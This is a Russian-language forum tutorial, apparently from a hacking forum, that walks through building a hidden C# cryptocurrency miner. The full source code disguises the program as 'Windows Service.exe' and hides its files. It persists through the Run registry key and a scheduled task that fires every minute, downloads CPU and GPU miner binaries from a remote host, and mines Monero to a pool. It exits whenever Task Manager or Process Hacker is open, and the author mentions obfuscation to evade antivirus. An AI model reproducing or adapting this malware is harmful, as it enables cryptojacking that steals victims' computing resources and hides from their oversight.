Всем привет
Хотел бы сегодня рассказать как создать скрытый майнер на шарпе.
Будет скрытие от диспетчеров задач и ему подобных, защита от повторного запуска, CPU, GPU, автозапуск и что то еще
Буду пытаться максимально все расписать в комментариях к коду
Создаем проект -> C# -> Консольное приложение (.NET Framework) -> Платформа ".NET Framework 4"
В класс главной программы прописываем следующие строки
Создаем следующий void, он будет проверять на наличие майнера в папке и копировать его туда в случае отсутствия, так же ставить атрибуты Hidden / System
Теперь организуем автозапуск.
Как я считаю делать автозапуск через "Автозагрузку" сейчас чуток палевно, так как это легко отключить в диспетчере.
Но вдруг кому то нужно будет, то вот:
Но я буду делать через "Планировщик задач", на запуск каждую минуту (если процесс запущен, то он не будет запускать повторно)
Теперь на всякий случай сделаем проверку на повторный запуск
Теперь перейдем к самим майнерам
Сначала реализуем скачивание нужных майнеров под пк
Подключим System.Management
Теперь вставляем данный код, чуток расписал, думаю поймете.
Нужно скачать майнеры для CPU (x32/x64) и GPU (nvidia/amd) и залить их на хост (только .exe файлы (сами майнеры))
Вы должны нажать кнопку
Останутся вопросы, задавайте
Создаем 2 процесса (один для CPU второй для GPU) и данные для майнера
Теперь делаем строки которые отвечают за запуск и закрытие майнера
Теперь делаем скрытие от диспетчеров задач, будем смотреть как и по имени процесс, и по заголовку окна, поэтому пишем
Будем проверять на ProcessHacker и Диспетчер задач (другие можете добавить сами
)
Ну и все, теперь нужно все это зайдествовать
В void Main вписываем
Теперь нужно скрыть наше окно майнера
Сверху нажимаем 'Проект' -> 'Свойства : "Имя проекта"'
Вписываем данные, компилируем, запускаем билд
Создалась задача для автозапуска
Появились файлы
Пошел майнинг
Открываем диспетчер задач, и майнинг прекращается
Что по детектам?
Чистый билд
NET Reactor + иконка + манифест
Хотел бы сегодня рассказать как создать скрытый майнер на шарпе.
Будет скрытие от диспетчеров задач и ему подобных, защита от повторного запуска, CPU, GPU, автозапуск и что то еще
Буду пытаться максимально все расписать в комментариях к коду
Создаем проект -> C# -> Консольное приложение (.NET Framework) -> Платформа ".NET Framework 4"
В класс главной программы прописываем следующие строки
Код:
static string dir = Environment.GetEnvironmentVariable("AppData") + "\\Windows Folder"; // Путь к папке где будет храниться майнер
static string file = "Windows Service.exe"; // Имя файла майнера
Код:
static void CopyFile()
{
try
{
if (!Directory.Exists(dir)) // Проверка на наличие папки
Directory.CreateDirectory(dir); // Если не существует, то создаем
if (!File.Exists(dir + "\\" + file)) // Проверка на наличие файла майнера в папке
File.Copy(Assembly.GetExecutingAssembly().Location, dir + "\\" + file); // Копируемся
File.SetAttributes(dir + "\\" + file, FileAttributes.Directory | FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
File.SetAttributes(dir + "\\" + file, FileAttributes.Hidden | FileAttributes.System); // Скрываем от пользователя
}
catch { }
}
Как я считаю делать автозапуск через "Автозагрузку" сейчас чуток палевно, так как это легко отключить в диспетчере.
Но вдруг кому то нужно будет, то вот:
Код:
using (RegistryKey key = Registry.CurrentUser.OpenSubKey("SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run", true))
key.SetValue("Windows Service", dir + "\\" + file);
Код:
static void CreateTask()
{
try
{
var startInfo = new ProcessStartInfo(); // Создаем процесс
startInfo.FileName = "schtasks.exe"; // Выбираем планировщик задач
startInfo.CreateNoWindow = false; // Скрываем от пользователя
startInfo.WindowStyle = ProcessWindowStyle.Hidden; // Скрываем от пользователя
startInfo.Arguments = @"/create /sc MINUTE /mo 1 /tn ""Windows Service"" /tr """ + dir + "\\" + file + @""" /f"; // Аргументы для запуска
Process.Start(startInfo); // Запускаем
}
catch { }
}
Код:
static Mutex InstanceCheckMutex;
static bool InstanceCheck()
{
bool isNew;
InstanceCheckMutex = new Mutex(true, "SMILEFACE", out isNew);
return isNew;
}
Сначала реализуем скачивание нужных майнеров под пк
Подключим System.Management
Теперь вставляем данный код, чуток расписал, думаю поймете.
Нужно скачать майнеры для CPU (x32/x64) и GPU (nvidia/amd) и залить их на хост (только .exe файлы (сами майнеры))
Вы должны нажать кнопку
Останутся вопросы, задавайте
Код:
static void Download()
{
string host = @"http://yoursite.com/"; // Ссылка на сайт с майнерами
if (!File.Exists(dir + "\\" + "Windows Helper.exe")) // Путь для CPU майнера
{
try
{
using (var client = new WebClient())
{
if (Environment.Is64BitOperatingSystem) // Проверка на разрядность системы
client.DownloadFile(host + "x64.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
else
client.DownloadFile(host + "x32.exe", dir + "\\" + "Windows Helper.exe"); // Скачиваем нужный майнер
}
File.SetAttributes(dir + "\\" + "Windows Helper.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
if (!File.Exists(dir + "\\" + "Windows Support.exe")) // Путь для GPU майнера
{
string gpuname = GpuName(); // Получаем имя видеокарты
try
{
using (var client = new WebClient())
{
if ((gpuname.Contains("NVIDIA") || gpuname.Contains("GEFORCE") || gpuname.Contains("nvidia") || gpuname.Contains("geforce"))) // Пытаемся чекнуть от кого видеокарта
client.DownloadFile(host + "nvidia.exe", dir + "\\" + "Windows Support.exe");
if (gpuname.Contains("AMD") || gpuname.Contains("amd"))
client.DownloadFile(host + "amd.exe", dir + "\\" + "Windows Support.exe");
}
File.SetAttributes(dir + "\\" + "Windows Support.exe", FileAttributes.Hidden | FileAttributes.System); // Скрываем файл от пользователя
}
catch { }
}
}
static string GpuName()
{
try
{
string gpuName = string.Empty;
string query = "SELECT * FROM Win32_DisplayConfiguration";
using (ManagementObjectSearcher searcher = new ManagementObjectSearcher(query))
{ foreach (ManagementObject mObject in searcher.Get()) { gpuName += mObject["Description"].ToString() + "; "; } }
return (!string.IsNullOrEmpty(gpuName)) ? gpuName : "N/A";
}
catch { return "Unknown"; }
}
Код:
static string pool = "stratum+tcp://xmr.pool.minergate.com:45700"; // Пул для майнинга
static string mail = "[email protected]"; // Почта от реги на minergate
static Process proc;
static Process vid;
Код:
static void Start() // Запускаем майнеры
{
try
{
proc = Process.Start(new ProcessStartInfo()
{
FileName = dir + "\\" + "Windows Helper.exe",
CreateNoWindow = true,
UseShellExecute = false,
RedirectStandardOutput = true,
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = $"-o {pool} -u {mail} --max-cpu-usage=95 --log-file=null -p x --donate-level=1 --algo=cryptonight"
});
}
catch { }
try
{
vid = Process.Start(new ProcessStartInfo()
{
FileName = dir + "\\" + "Windows Support.exe",
CreateNoWindow = true,
UseShellExecute = false,
RedirectStandardOutput = true,
WindowStyle = ProcessWindowStyle.Hidden,
Arguments = $"-o {pool} -u {mail} -p x --donate-level=1 --log-file=null"
});
}
catch { }
}
static void Stop() // Закрываем процессы майнеров
{
try { proc.Kill(); } catch { }
try { vid.Kill(); } catch { }
}
Код:
[DllImport("USER32.DLL", CharSet = CharSet.Unicode)]
public static extern IntPtr FindWindow(string lpClassName, string lpWindowName);
Код:
static void LookForTaskMngr()
{
while (true)
{
Process[] procs = Process.GetProcesses(); foreach (Process p in procs)
{
if ((Process.GetProcessesByName("taskmgr").Length > 0 || Process.GetProcessesByName("Taskmgr").Length > 0 || Process.GetProcessesByName("ProcessHacker").Length > 0) || Environment.HasShutdownStarted || FindWindow("", "Task Manager") != IntPtr.Zero || FindWindow("", "Диспетчер задач") != IntPtr.Zero)
{
Stop(); // Закрываем майнеры
Environment.Exit(0); // Закрываемся
}
}
Thread.Sleep(1000); // Как часто проверяем на диспетчеры (1 сек)
}
}
В void Main вписываем
Код:
CopyFile();
CreateTask();
if (!InstanceCheck())
Environment.Exit(0);
Download();
Start();
LookForTaskMngr();
Сверху нажимаем 'Проект' -> 'Свойства : "Имя проекта"'
Вписываем данные, компилируем, запускаем билд
Создалась задача для автозапуска
Появились файлы
Пошел майнинг
Открываем диспетчер задач, и майнинг прекращается
Что по детектам?
Чистый билд
Для просмотра содержимого вам необходимо авторизоваться.